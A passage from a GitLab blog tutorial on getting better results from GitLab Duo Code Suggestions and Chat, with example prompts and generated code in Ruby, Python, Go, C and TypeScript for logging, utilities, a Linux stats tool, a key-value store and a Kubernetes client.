-  body: "[GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI-powered features, provides a unique opportunity to make your DevSecOps workflows more efficient. To make the most of GitLab Duo requires hands-on practice and learning in public together. This tutorial centers on GitLab Duo Code Suggestions and provides tips and tricks, learned best practices, and some hidden gems (including how to pair Code Suggestions with our other AI features for even more efficiency). You'll also discover how AI greatly improves the developer experience.\n\nThe best practices, tips, and examples in this article have been created from scratch and are included in the [GitLab Duo documentation](https://docs.gitlab.com/ee/user/gitlab_duo/index.html) and [GitLab Duo prompts project](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts), maintained by the GitLab Developer Relations team. Bookmark this page, and navigate into the respective chapters at your convenience.\n\nWhat you'll learn:\n\n1. [Why use GitLab Duo Code Suggestions?](#why-use-gitlab-duo-code-suggestions%3F)\n1. [Start simple, refine prompts](#start-simple-refine-prompts)\n1. [Practice, practice, practice](#practice-practice%2C-practice)\n    - [Fix missing dependencies](#fix-missing-dependencies)\n    - [Boilerplate code: Optimized logging](#boilerplate-code-optimized-logging)\n    - [Utility helper functions, well tested](#utility-helper-functions-well-tested)\n    - [Generate regular expressions](#generate-regular-expressions)\n1. [Re-trigger Code Suggestions](#re-trigger-code-suggestions)\n    - [Common keyboard combinations to re-trigger Code Suggestions](#common-keyboard-combinations-to-re-trigger-code-suggestions)\n    - [Stuck in the middle of suggestions](#stuck-in-the-middle-of-suggestions)\n    - [Code Suggestions stopped](#code-suggestions-stopped)\n1. [Code Suggestions vs, code generation](#code-suggestions-vs.-code-generation)\n    - [Start with a comment on top for code generation](#start-with-a-comment-on-top-for-code-generation)\n    - [Intent detection for code suggestions and generation](#intent-detection-for-code-suggestions-and-generation)\n    - [Tell a story for efficient code generation](#tell-a-story-for-efficient-code-generation)\n    - [Generate regular expressions](#generate-regular-expressions)\n    - [Iterate faster with code generation](#iterate-faster-with-code-generation)\n    - [Practical code generation: Cloud-native observability](#practical-code-generation-cloud-native-observability)\n1. [Take advantage of all GitLab Duo features](#take-advantage-of-all-gitlab-duo-features)\n    - [Combine Chat with Code Suggestions](#combine-chat-with-code-suggestions)\n    - [Use Chat to generate build configuration](#use-chat-to-generate-build-configuration)\n    - [Use Chat to explain potential vulnerabilities](#use-chat-to-explain-potential-vulnerabilities)\n    - [Combine vulnerability resolution with Code Suggestions](#combine-vulnerability-resolution-with-code-suggestions)\n1. [More tips](#more-tips)\n    - [Verify code quality and security](#verify-code-quality-and-security)\n    - [Learn as a team, and understand AI's impact](#learn-as-a-team-and-understand-ai-impact)    \n    - [Development is a marathon, not a sprint](#development-is-a-marathon-not-a-sprint)\n    - [Contribute using GitLab Duo](#contribute-using-gitlab-duo)\n1. [Share your feedback](#share-your-feedback)\n\n## Why use GitLab Duo Code Suggestions?\n\nConsider these two scenarios:\n\n1. As a senior developer, you have the confidence in your ability with various programming languages to write new source code, review existing code, design resilient architectures, and implement new projects. However, getting familiar with the latest programming language features requires time, research, and a change of habits. So how can you quickly learn about new language feature additions that could make your code even more robust or use resources more sustainably?\n\n    - As a personal example, I learned the C++03 standard, later C++11 and never really touched base on C++14/17/20/23 standards. Additionally, new languages such as [Rust](https://about.gitlab.com/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/) came around and offered better developer experiences. What now?\n\n2. As a new engineer, it can be challenging to navigate new projects, get familiar with a new programming language, understand specific algorithms, and find the documentation for structures, interfaces, and other technical components. New engineers are also learning under pressure, which often leads to errors and roadblocks along the way. There is no time for digging into best practices.\n\n    - I, myself, never really learned frontend engineering, just some self-taught HTML, CSS, and JavaScript. Adapting into frontend frameworks such as VueJS after a decade feels overwhelming, and I have little time to learn.\n\nThese scenarios show how hard it can be to keep up with the latest programming languages, best practices, and other key information. [GitLab Duo Code Suggestions](https://about.gitlab.com/solutions/code-suggestions/), which predictively completes code blocks, defines function logic, generates tests, and proposes common code like regex patterns – all in your coding environment. Code Suggestions provides the AI assistance necessary to learn what you need to know while staying in your development flow.\n\n> Live demo! Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Register today](https://about.gitlab.com/seventeen/)!\n\n## Start simple, refine prompts\n\nMy own GitLab Duo adoption journey started with single-line code comments, leading to not-so-great results at first. \n\n```\n# Generate a webserver\n\n// Create a database backend\n\n/* Use multi-threaded data access here */\n```\n\nAfter experimenting with different contexts, and writing styles, I found that code generation out of refined comments worked better. \n\n```\n# Generate a webserver, using the Flask framework. Implement the / URL endpoint with example output.\n\n// Create a database backend. Abstract data handlers and SQL queries into function calls.\n\n/* Use multi-threaded data access here. Create a shared locked resource, and focus on supporting Linux pthreads. */\n```\n\nCode comments alone won't do the trick, though. Let's explore more best practices.\n\n## Practice, practice, practice \n\nFind use cases and challenges for your daily workflows, and exclusively use GitLab Duo. It can be tempting to open browser search tabs, but you can also solve the challenge in your IDE by using GitLab Duo. Here are some examples:\n\n1. Fix missing dependencies (which always cause build/execution failures).\n1. If you're missing logging context, let Code Suggestions auto-complete started function calls, including `print` statements.\n1. Generate common methods and attributes for object-oriented design patterns (e.g. getter/setter methods, `toString()` and object comparison operators, object inheritance, etc.).\n1. Identify the function that generates random crashes. Use Code Suggestions to implement a new function with a different algorithm.\n1. If you encounter application cannot be compiled or executed, cryptic error, ask GitLab Duo Chat about it.\n1. Learn about existing (legacy) code, and strategies to document and refactor code into modern libraries. Start a v2 of an application with a new framework or programming language, helping solve technical debt.\n1. Prevent operations and security issues in Git history by detecting them before they occur (e.g. performance, crashes, security vulnerabilities).\n\nThink of the most boring - or most hated - coding task, and add it to the list above. My least favorite tasks are attribute getter/setter methods in C++ classes (as can be seen in the video below), immediately followed by regular expressions for email address format.\n\n<!-- blank line -->\n<figure class=\"video_container\">\n  <iframe src=\"https://www.youtube.com/embed/Z9EJh0J9358?si=QGvQ6mXxPPz4WpM0\" frameborder=\"0\" allowfullscreen=\"true\"> </iframe>\n</figure>\n<!-- blank line -->\n\nIt can also help to use Code Suggestions in different programming languages, for example focusing on backend and frontend languages. If you are experienced in many languages, take a look into languages that you have not used in a while, or look into learning a new programming language such as [Python](https://about.gitlab.com/blog/2023/11/09/learning-python-with-a-little-help-from-ai-code-suggestions/) or [Rust](https://about.gitlab.com/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/). \n\nWhen you adopt Code Suggestions into a fast auto-completion workflow, it can happen without any interruption. The suggested code is greyed out and optional, depending on the user interface – for example, VS Code. This means that it will not distract you from continuing to write source code. Try using Code Suggestions on your own by familiarizing yourself with how suggestions are shown, how you can fully or partially accept them, and soon they will become optional help to write better code. \n\n![Image with code suggestions greyed out](//images.ctfassets.net/r9o86ar0p03f/4odYlDsMhWRsuCZhgpOpKe/cc38fb2db528001da3deb5762402c162/duo_code_suggestions_java_springboot_class_methods_tostring.png)\n\n### Fix missing dependencies\n\nAfter building or running source code, missing dependency errors might be logged and prevent further execution and testing. The following example in Go shows an error from `go build`, where the source code did not import any dependencies yet. A manual approach can be collecting all listed dependencies, running a unique sort on them, and adding them into the source code file, as shown below.\n\n![Go build failed - missing dependencies](//images.ctfassets.net/r9o86ar0p03f/5iB1rjravY4c0WsIcO8T6l/65d7c8267f81854b2931eb59bc1159fa/duo_code_suggestions_go_build_failed_missing_deps.png)\n\nBut what if GitLab Duo knows about the file context and missing dependencies already? Navigate into the top section and add a comment, saying `// add missing imports` and wait for Code Suggestions.\n\n![GitLab Duo Code Suggestions - go build failed missing dependencies suggested fix](//images.ctfassets.net/r9o86ar0p03f/3YGYsIoQ7glSXMjZTMPDdg/dd930103248a8a272b85b0e2b0c5c7b7/duo_code_suggestions_go_build_failed_missing_deps_suggested_fix.png)\n\nRunning `go build` again results in success, and the source code can be tested and run.\n\n![Go build failed - missing dependencies fixed](//images.ctfassets.net/r9o86ar0p03f/6q77dbDvucnWxpdX0z1gYb/d04e602187c47204ef33cfa83333201d/duo_code_suggestions_go_build_failed_missing_deps_fixed.png)\n\n### Boilerplate code: Optimized logging\n\n*Q: Logging – and more observability data with metrics and traces – can be hard and tedious to implement. What is the most efficient way to implement them that does not impact the application performance or cause bugs?*\n\n*A: Use Code Suggestions to generate logging function calls, and refactor the code into robust observability instrumentation library abstractions. This method can help to prepare the code for later integration with [OpenTelemetry](https://docs.gitlab.com/ee/development/stage_group_observability/gitlab_instrumentation_for_opentelemetry.html), for example.*\n\nExample for a logging class in Ruby:\n\n```ruby\n# Create Logging utility class\n# Define default log level as attribute\n# Add method for logging, inputs: level, app, message\n# Print the data with formatted date and time in syslog format\n\n# Potential AI-generated code below\nclass Logging\n  attr_accessor :log_level\n\n  def log(level, app, message)\n    time = Time.now.strftime(\"%b %d %H:%M:%S\")\n    puts \"#{time} #{app}[#{Process.pid}]: #{level} - #{message}\"\n  end\nend\n\n# Instantiate class and test the log method\n\n# Potential AI-generated code below\nlogger = Logging.new\nlogger.log_level = :debug\n\nlogger.log(:info, 'MyApp', 'Application started - info')\nlogger.log(:debug, 'MyApp', 'Application started - debug')\nlogger.log(:error, 'MyApp', 'Application started - error')\nlogger.log(:fatal, 'MyApp', 'Application started - fatal')\nlogger.log(:warn, 'MyApp', 'Application started - warn')\n```\n\n### Utility helper functions, well tested\n\n*Q: The programming language does not provide basic functions in the standard library. I'm tempted to open my browser to add string manipulation and regular expression parser functions.*\n\n*A: Create a new file called `utility.{language-suffix}` and add a code comment on top. Instruct Code Suggestions to generate a string manipulation function ().*\n\nExample for a string manipulation method in Python:\n\n```python\n# Create a function to search for a string in a string, return the index\n# Optionally remove search string, and return modified string\n# Test the function on the string \"Cool programming languages: C++, Rust, Python\" - Remove the string \"C++\"\n\n# Potential AI-generated code below\ndef search_and_remove(text, search):\n    index = text.find(search)\n    if index != -1:\n        return index, text[:index] + text[index+len(search):]\n    else:\n        return None, text\n\ntext = \"Cool programming languages: C++, Rust, Python\"\nindex, new_text = search_and_remove(text, \"C++\")\nprint(index, new_text)\n```\n\n**Async exercise:** Ask GitLab Duo Chat how to add tests in Python, select the source code, and use the `/tests` slash command. \n\nA similar example can be implemented in Go, creating utility functions for unique integer values in an array, or the sum of all even values. Start with defining the project structure through `go mod init gitlab.com/group/project` and create the `array.go` file. Define the `package` and start with the first code comment to generate the functions.\n\n```go\npackage array \n\n// Create a function that returns unique values from an integer array\n\n// Possible AI-generated code\nfunc unique(ints []int) []int {\n    occurred := map[int]bool{}\n    result := []int{}\n    for _, i := range ints {\n        if !occurred[i] {\n            occurred[i] = true\n            result = append(result, i)\n        }\n    }\n    return result\n}\n\n// Create a function that returns the sum of all even numbers in an integer array\n\n// Possible AI-generated code\nfunc sumEvens(ints []int) int {\n    var sum int\n    for _, i := range ints {\n        if i%2 == 0 {\n            sum += i\n        }\n    }\n    return sum\n}\n```\n\n**Async exercise**: Create more utility helper functions in dedicated libraries, and use Chat to select and generate `/tests`. For the Go example, you can inspect potential solutions in the `go/utility/array_test.go` file in the [GitLab Duo Prompts project](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts). Build and test the code using `go build && go test`.\n\n### Generate regular expressions\n\nDevelopers' favorite one liners, never touched again. `git blame` knows very well but might not be able to provide enough context. GitLab Duo can help with regular expressions creation, explanation, and refactoring, in the following example:\n\n*Q: My regular expressions for parsing IPv6 and IPv4 addresses do not work. What's the best approach to solve this?*\n\n*A: Use Code Suggestions comments to generate examples using these regex types. Combine the questions with Chat, and ask for more examples in different languages. You can also select the existing source, and use a refined prompt with `/refactor using regular expressions` in the Chat prompt.*\n\n**Async exercise**: Choose your favorite language, create a function stub that checks IPv6 and IPv4 address strings for their valid format. Trigger Code Suggestions to generate a parsing regular expression code for you. Optionally, ask Chat how to refine and refactor the regex for greater performance.\n\nI chose TypeScript, a language on my personal learning list for 2024: `// Generate a TypeScript function which parses IPv6 and IPv4 address formats. Use regular expressions`.\n\n![Code Suggestions - typescript utility parse ip address regex](//images.ctfassets.net/r9o86ar0p03f/3QEf1WkspNohMOkKCExslh/c3f0e0b5b521685e6c949c8c7ae76de9/duo_code_suggestions_typescript_utility_parse_ip_address_regex.png)\n\n![Code Suggestions typescript - utility parse ip address regex tests](//images.ctfassets.net/r9o86ar0p03f/2S7fDGwICyT7Aso6yfD5e1/95ee54c6721141e31ea3c1bcacf644a3/duo_code_suggestions_typescript_utility_parse_ip_address_regex_tests.png)\n\n## Re-trigger Code Suggestions\n\nYou can trigger Code Suggestions by pressing the `enter` or `space` key, depending on the context. In VS Code and the GitLab Web IDE, the GitLab Duo icon will appear in the same line, and at the bottom of the window.\n\nIf you accepted a suggestion, but actually want to try a different suggestion path, select the code, delete the line(s) and start over.\n\n> **Tip:** Different keystrokes and strategies for Code Suggestions are recorded in this video:\n\n<!-- blank line -->\n<figure class=\"video_container\">\n  <iframe src=\"https://www.youtube.com/embed/ORpRqp-A9hQ?si=CmA7PBJ9ckWsvjO3\" frameborder=\"0\" allowfullscreen=\"true\"> </iframe>\n</figure>\n<!-- blank line -->\n\n### Common keyboard combinations to re-trigger Code Suggestions\n\nEspecially in the early adoption phase of Code Suggestions, you'll need to practice to get the best results from comments, existing code style, etc., put into context.\n\nA common keystroke pattern for triggering suggestions can be\n\n1. Press `Enter` and wait for the suggestion.\n1. Press `Space` followed by `Backspace` to immediately delete the whitespace again, or\n1. Press `Enter` to re-trigger the suggestion. `Backspace` to delete any leftover new lines.\n\nWhen a suggestion makes sense, or you want to see how far you can get:\n\n1. Continue pressing `Tab` to accept the suggestion.\n1. Add a space or press `Enter` to open a new scope for triggering a new suggestion.\n1. Continue accepting suggestions with `Tab`. \n\nNote that generative AI sometimes ends up in a loop of suggesting similar code paths over and over again. You can trigger this behavior by inserting test data into an array, using strings and numbers in a sorted order or by generating different API endpoints, as it tries to guess which other endpoints could be helpful. When this happens, break the acceptance flow, and continue writing code as normal.\n\n### Stuck in the middle of suggestions\n\nSometimes, the code suggestions may stop in the middle of a variable, function, etc. definition. If you are unsure about the syntax, or want to restart the code suggestions:\n\n1. Delete the last character(s) or the entire line, using `Backspace`.\n1. Alternatively, use `shift cursor left` (select characters) or `cmd shift cursor left` (select entire line), followed by `Backspace`.\n1. Move the cursor into the line above, and press `Enter` to force a Code Suggestions trigger again.\n\n### Code Suggestions stopped\n\nWhen Code Suggestions stops, there can be multiple reasons:\n\n1. The current file scope ends – for example, a `main()` function has been generated and closed.\n1. There could be connection problems to the GitLab instance (self-managed) or GitLab.com (SaaS, [Dedicated](https://about.gitlab.com/dedicated/)). Follow the [troubleshooting documentation](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/troubleshooting.html).\n\n## Code suggestions vs. code generation\n\nCode suggestions \"come as you go\" while writing code, and help with completing line(s). Code generation on the other hand requires more context to create entire code blocks, consisting of functions, algorithms, classes, etc. \n\nThe following sections discuss both methods, and how to get started with a practical example. \n\n### Code suggestions flow with comments\n\nUse your natural programming flow, and stop to adapt to adding code comments when helpful for context and better suggestions. You can accept code suggestions using the `Tab` key, or selectively accept words using the `cmd cursor right` keyboard shortcut.\n\nThe following new challenge implements a simple Linux statistics tool in C, mimicking the functionality of `iostat`, `vmstat` and `du` CLI commands on Linux. Sometimes, these low-level metrics come in handy for presenting application metrics, or otherwise help with debugging when requesting support data from customers.\n\nCreate a new application directory called `linux_stat` and `main.c` file, and let Code Suggestions complete everything else. First, start with a simple code comment block:\n\n```c\n// Create a Linux statistic tool\n// Collect IO, performance, disk usage, TCP latency\n// Print summaries\n```\n\nNext, press `Enter` to trigger the creation of the `main()` method. If not automatically created, force it through a new code comment.\n\n```c\n// Create main function to collect data\n```\n\nIn my attempts, generative AI did not immediately implement all functionality. Instead, it added a `TODO` comment into the following code block.\n\n```c\nint main() {\n    struct stat statbuf;\n\n    if (stat(\"/etc\", &statbuf) != 0) {\n        perror(\"stat\");\n        return 1;\n    }\n\n    printf(\"IO Block Size: %ld\\n\", statbuf.st_blksize);\n\n    // TODO: add CPU usage, disk usage, network latency measurements\n\n    return 0;\n}\n```\n\nMove the cursor after the `TODO` comment, and continue with a new comment to collect CPU usage:\n\n```c\n    // Collect CPU usage\n\n    // Example for AI-generated code below\n    double cpu_usage;\n\n    FILE* stat_file = fopen(\"/proc/stat\", \"r\");\n    if (stat_file == NULL) {\n        perror(\"fopen\");\n        return 1;\n    }\n\n    // Parse /proc/stat to get CPU usage\n    fscanf(stat_file, \"cpu %lf\", &cpu_usage);\n\n    printf(\"CPU Usage: %.2f%%\\n\", cpu_usage * 100);\n\n    fclose(stat_file);\n```\n\nThe generated code might not be 100% accurate, since measuring CPU usage on Linux requires taking samples over a defined time range. Thus, the caller needs to calculate the real CPU utilization from all values in `/proc/stat`, including [`system, nice, user, idle, iowait`, etc.](https://www.kernel.org/doc/Documentation/filesystems/proc.txt).\n\n**Async challenge:** Optimize the collection process with average calculation.\n\nRepeat the steps for disk usage and network latency. The code comment is written by you, the C source code is generated with GitLab Duo.\n\n```c\n    // Collect disk usage\n\n    // Collect network latency\n\n    // Example for AI-generated code below\n    int sockfd = socket(AF_INET, SOCK_STREAM, 0);\n\n    struct sockaddr_in servaddr;\n    servaddr.sin_family = AF_INET;\n    servaddr.sin_port = htons(80);\n    inet_pton(AF_INET, \"8.8.8.8\", &servaddr.sin_addr);\n```\n\nThe generated code may use public IP addresses to test network latency. Change the IPv4 address to GitLab.com's current address. \n\n```c\n    inet_pton(AF_INET, \"172.65.251.78\", &servaddr.sin_addr);\n```\n\nThe generated source code added more header dependencies. Navigate into the top section of the file, and add a comment to include all required headers:\n\n```c\n// Import required headers\n```\n\nBuild and run the application on Linux, example on Ubuntu 22 LTS:\n\n```shell\n# Install compiler\napt install gcc\n\n# Build\ngcc main.c -o linux_stat\n\n# Build: If the math.h header is included, linking against the library is needed, too\ngcc linux_stat.c -o linux_stat -lm\n\n# Run the tool\n./linux_stat\n```\n\n**Bonus:** Change the code to use IPv6, and check the GitLab.com IPv6 address again (`dig gitlab.com AAAA +short`).\n\n```c\n    // Collect network latency\n\n    // Use IPv6 \n\n    // Example for AI-generated code below\n    struct sockaddr_in6 servaddr;\n    servaddr.sin6_family = AF_INET6;\n    servaddr.sin6_port = htons(80);\n    //inet_pton(AF_INET6, \"2001:db8::1\", &servaddr.sin6_addr);\n    inet_pton(AF_INET6, \"2606:4700:90:0:f22e:fbec:5bed:a9b9\", &servaddr.sin6_addr);\n\n    int sockfd = socket(AF_INET6, SOCK_STREAM, 0);\n```\n\n![C Linux stat tests](//images.ctfassets.net/r9o86ar0p03f/2Ab5vVw1gj64OhcwxFHs8d/a080fd3c2049a889bcd749d34b93550f/duo_code_suggestions_c_linux_stat_tests.png)\n\nThe full working source code is available in the [GitLab Duo Prompts project](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts) in the directory for C code.\n\n**Async exercise:** Refactor the C code into Rust, using only GitLab Duo. Start by selecting the source code, and use the Duo Chat prompt `/refactor into Rust`. \n\n> **Tip:** Thoughtful code comments make the source code more readable, too. This helps new team members with onboarding, site reliability engineers with debugging production incidents, and open source contributors with [merging their first MRs](https://handbook.gitlab.com/handbook/marketing/developer-relations/contributor-success/community-contributors-workflows/#first-time-contributors).\n\n### Start with a comment on top for code generation\n\nSource code can be organized in multiple files. Whether you start with a new application architecture, or refactor existing source code, you can take advantage of code generation with GitLab Duo.\n\nStart with a comment block on top, and make it a step-by-step description. You can also break longer comments into multiple lines, revisiting the examples in this article. This pattern also helps to think about the requirements, and can help refining the prompts. \n\n```diff\n# Generate a webserver, using the Flask framework. \n# Implement the / URL endpoint with example output.\n+# Add an endpoint for Promtheus metrics\n\n// Create a database backend. \n// Abstract data handlers and SQL queries into function calls.\n+// Use PostgreSQL as default backend, and SQLite for developers as fallback.\n\n/* \nUse multi-threaded data access here.\nCreate a shared locked resource, and focus on supporting Linux pthreads. \n+Abstract the thread creation/wait procedures into object-oriented classes and methods.\n*/\n```\n\nMore code generation prompts for [supported programming languages](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html) are available in the [GitLab Duo Use Cases documentation](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html#code-generation-prompts).\n\n### Intent detection for code suggestions and generation\n\nCode Suggestions, depending on the GitLab Language Server in your IDE, will parse and detect the intent and offer code completion suggestions in the same line or code generation.\n\nThe technology in the background uses TreeSitter to parse the code into an [AST](https://en.wikipedia.org/wiki/Abstract_syntax_tree), and determine whether the scope is inside a code comment block (generation), or inside the source code (completion). This detection needs to be executed fast on the client IDE, and proves to be a great use case for [WebAssembly](https://webassembly.org/). You can learn more in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/11568), and the following video, which provides a look into the GitLab Language Server powering Code Suggestions:\n\n<!-- blank line -->\n<figure class=\"video_container\">\n  <iframe src=\"https://www.youtube.com/embed/VQlWz6GZhrs\" frameborder=\"0\" allowfullscreen=\"true\"> </iframe>\n</figure>\n<!-- blank line -->\n\n### Tell a story for efficient code generation\n\nCode generation is art. Tell the story, and AI-powered GitLab Duo can assist you. \n\nThe following example aims to implement an in-memory key-value store in Go, similar to Redis. Start with a description comment, and trigger Code Suggestions by continuing with a new line and pressing `Enter`.\n\n```golang\n// Create an in-memory key value store, similar to Redis \n// Provide methods to\n// set/unset keys\n// update values\n// list/print with filters\n```\n\nWe can be more specific –\_which methods are required for data manipulation? Instruct Code Suggestions to generate methods for setting keys, updating values, and listing all contained data.\n\n```golang\n// Create an in-memory key value store, similar to Redis \n// Provide methods to\n// set/unset keys\n// update values\n// list/print with filters\n```\n\nAccept all suggestions using the `Tab` key. As a next step, instruct Code Suggestions to create a `main` function with test code.\n\n```golang\n// Create a main function and show how the code works\n```\n\nIf the test data is not enough, refine the generated code with a focus on extreme test cases.\n\n> **Tip:** You can use the same method for refined [Chat prompts and test generation](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#write-tests-in-the-ide), `/tests focus on extreme test cases`.\n\n```golang\n// Add more random test data, focus on extreme test cases\n```\n\n![Code Suggestions - go kv more test data](//images.ctfassets.net/r9o86ar0p03f/4az4j63Scw0FoHEGiv0dVp/090d94ecd55827f198e70ed22f6eb195/duo_code_suggestions_go_kv_more_test_data.png)\n\nThe full example, including fixed dependencies, is located in the [gitlab-duo-prompts project](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts) in the `code-suggestions/go/key-value-store` directory. Update the `main.go` file, and build and run the code using the following command: \n\n```shell\ngo build\n./key-value-store\n```\n\nThe first iteration was to create a standalone binary and test different implementation strategies for key-value stores. Commit the working code and continue with your GitLab Duo adoption journey in the next step.\n\n> **Tip:** New projects can benefit from Code Generation, and require practice and more advanced techniques to use code comments for prompt engineering. This method can also make experienced development workflows more efficient. Proof of concepts, new library introductions, or otherwise fresh iterations might not always be possible in the existing project and framework. Experienced developers seek to create temporary projects, and isolate or scope down the functionality. For example, introducing a database backend layer, and benchmarking it for production performance. Or, a library causing security vulnerabilities or license incompatibilities should be replaced with a different library, or embedded code functionality.\n\n### Iterate faster with code generation\n\nExperienced developers will say, \"There must be a key-value library in Go, let us not reinvent the wheel.\" Fortunately, Go is a mature language with a rich ecosystem, and awesome-go collection projects, for example [avelino/awesome-go](https://github.com/avelino/awesome-go), provide plenty of example libraries. Note: This possibility might not be the case for other programming languages, and requires a case-by-case review.\n\nWe can also ask GitLab Duo Chat first, `Which Go libraries can I use for key-value storage?`:\n\n![Chat - ask golang libraries kv](//images.ctfassets.net/r9o86ar0p03f/2wNaLyZ3kE4jvQ4Zb1o5N0/84e47be351ba8d56894458d21e8815a0/duo_chat_ask_golang_libs_kv.png)\n\nAnd then refine the Code Suggestions prompt to specifically use the suggested libraries, for example, BoltDB.\n\n```diff\n// Create an in-memory key value store, similar to Redis \n// Provide methods to\n// set/unset keys\n// update values\n// list/print with filters\n+// Use BoltDB as external library\n```\n\nRepeat the pattern from above: Generate the source code functions, then ask GitLab Duo to create a main function with test data, and build the code. The main difference is external libraries, which need to be pulled with the `go get` command first. \n\n```shell\ngo get\ngo build\n```\n\nIf the source code build fails with missing dependencies such as `fmt`, practice using GitLab Duo again: Move the cursor into the `import` statement, and wait for the suggestion to add the missing dependencies. Alternatively, add a comment saying `Import all libraries`.\n\n![Code Suggestions - go kv external lib boltdb fix dependencies](//images.ctfassets.net/r9o86ar0p03f/1EETGvl2r0DztI8XjXsgyf/f549491eeaaa4b2ede427e70e92a701d/duo_code_suggestions_go_kv_external_lib_boltdb_fix_deps.png)\n\nYou can also add more test data again, and verify how the functions behave: `// Add more random test data, focus on extreme test cases`. In the following example, an empty key causes the program to panic.\n\n![Code Suggestions - Go kv external lib boltdb test extreme cases panic](//images.ctfassets.net/r9o86ar0p03f/nsFoTZcyTHiR3z1anQBbb/b834a5e18fc4ab43bb2f9ba37c95e4e7/duo_code_suggestions_go_kv_external_lib_boltdb_test_extreme_cases_panic.png)\n\nThis example is a great preparation for test cases later on.\n\n### Practical code generation: Cloud-native observability\n\nThink of a client application in Go, which lists the current state of containers, pods, and services in a Kubernetes cluster, similar to the `kubectl get pods` command line. The Kubernetes project provides [Go libraries](https://pkg.go.dev/k8s.io/client-go/kubernetes) to programmatically interact with the Kubernetes APIs, interfaces, and object structures.\n\nOpen your IDE, and create a new Go project.\n\n> **Tip:** You can ask Chat how to do it - `How to start a Go project? Please show CLI command examples`. \n\nStart with a single comment on top of the `main.go` file, and describe the application purpose: Observability in Kubernetes.\n\n```golang\n// Create a client for Kubernetes observability\n```\n\nThink about the main requirements: Get access to Kubernetes, create context, namespace, and inspect the state. Additionally, instruct Code Suggestions to import packages and create a main package in the `main.go` file.\n\nFirst iteration:\n\n```golang\n// Create a client for Kubernetes observability\n// Inspect container, pod, service status and print an overview\n```\n\nThis might do unexpected things with hardcoding the access credentials, missing contexts, failing builds.\n\nSecond iteration:\n\n```golang\n// Create a client for Kubernetes observability\n// Create a function that\n// Read the kubernetes configuration file from the KUBECONFIG env var\n// Inspect container, pod, service status and print an overview\n```\n\nThis might not know about Kubernetes contexts and namespaces, thus leading to build errors or unexpected results.\n\nThird iteration:\n\n```golang\n// Create a client for Kubernetes observability\n// Create a function that\n// Read the kubernetes configuration file from the KUBECONFIG env var\n// Create kubernetes context, namespace default\n// Inspect container, pod, service status and print an overview\n```\n\nThis example hardcodes the Kubernetes context and default namespace to generate an initial foundation. Later iterations can read the namespace value from a command line parameter, or configuration file.\n\nThe final example can look like the following. In addition to the application functionality, it also instructs Code Suggestions to import all dependencies, and create a `main` package in `main.go`.\n\n```golang\n// Create a client for Kubernetes observability\n// Create a function that\n// Read the kubernetes configuration file from the KUBECONFIG env var\n// Create kubernetes context, namespace default\n// Inspect container, pod, service status and print an overview\n// Import necessary packages\n// Create main package\n```\n\n<details> Solution \n<summary>\n\n```golang\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"k8s.io/client-go/kubernetes\"\n\t\"k8s.io/client-go/tools/clientcmd\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n)\n\nfunc main() {\n\tkubeconfig := os.Getenv(\"KUBECONFIG\")\n\tconfig, err := clientcmd.BuildConfigFromFlags(\"\", kubeconfig)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tpods, err := clientset.CoreV1().Pods(\"\").List(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"There are %d pods in the cluster\\n\", len(pods.Items))\n\n\t// Additional code to inspect services, containers, etc\n}\n```\n\n</summary>\n</details>\n\nExample output:\n\n![duo code suggestions - go k8s o11y output](//images.ctfassets.net/r9o86ar0p03f/7kyYQIheReXJkPtLZcX8VT/073ce3e67623b72fe550af391f1eedbc/duo_code_suggestions_go_k8s_o11y_output.png)\n\n**Async exercise:** Complete the project with code for inspecting services, containers, etc., and export the findings to [OpenTelemetry](https://opentelemetry.io/).\n\n> **Tip:** Practice with the [GitLab Duo use cases: Code generation prompts](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html#code-generation-prompts) in the documentation, and/or send merge requests with your working prompts.\n\nWhile recording a short video to highlight how code generation is working, another more refined source code was generated. You can inspect the differences in [this commit](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts/-/commit/a1a46de9789d4791f04b4df9f1a35d05b8e67568), and benefit from both solutions.\n\n<!-- blank line -->\n<figure class=\"video_container\">\n  <iframe src=\"https://www.youtube.com/embed/ORpRqp-A9hQ\" frameborder=\"0\" allowfullscreen=\"true\"> </iframe>\n</figure>\n<!-- blank line -->\n\n## Take advantage of all GitLab Duo features \n\n### Combine Chat with Code Suggestions\n\nIn combination with [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat/index.html), Code Suggestions becomes even more powerful. The following workflow illustrates the intersection of AI efficiency:\n\nWrite and generate new code using Code Suggestions. The source code will be verified through CI/CD automation, code quality tests, and security scanning. But what about the developer's knowledge?\n\n1. In your IDE, select the generated code portions and use the [`/explain` slash command](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide) in the Chat prompt. You can even refine the prompt to `/explain with focus on algorithms`, or otherwise helpful scopes such as potential security or performance problems, etc.\n\n    - Continue writing and maintaining source code, but at some point code quality decreases and refactoring gets challenging. Ask GitLab Duo Chat for help.\n\n2. In your IDE, select the source code, and use the [`/refactor` slash command](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#refactor-code-in-the-ide) in the Chat prompt. You can refine the prompt to focus on specific design patterns (functions, object-oriented classes, etc.), `/refactor into testable functions` for example._\n\n    - After ensuring more readable code, tests need to be written. What are potential extreme cases, or random data examples for unit tests? Research and 